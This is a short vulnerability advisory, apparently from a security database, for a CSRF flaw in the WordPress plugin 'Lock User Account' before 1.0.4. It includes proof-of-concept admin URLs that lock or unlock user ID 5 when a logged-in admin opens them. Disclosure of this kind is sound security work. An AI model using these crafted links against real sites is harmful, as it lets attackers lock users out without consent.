Lock User Account < 1.0.4- Arbitrary Account Lock/Unlock via CSRF

2023-08-2100:00:00

Dmitrii Ignatyev

arbitrary account lock

csrf exploit

user id 5

admin control

AI Score

4.7

Confidence

High

EPSS

0.001

Percentile

30.3%

JSON

Description The plugin does not have CSRF check when bulk locking and unlocking accounts, which could allow attackers to make logged in admins lock and unlock arbitrary users via a CSRF attack

Make a logged in admin open one of the links below, this will make them lock/unlock the user with ID 5

https://example.com/wp-admin/users.php?action=lock&action2=lock&users%5B0%5D=5

https://example.com/wp-admin/users.php?action=unlock&action2=unlock&users%5B0%5D=5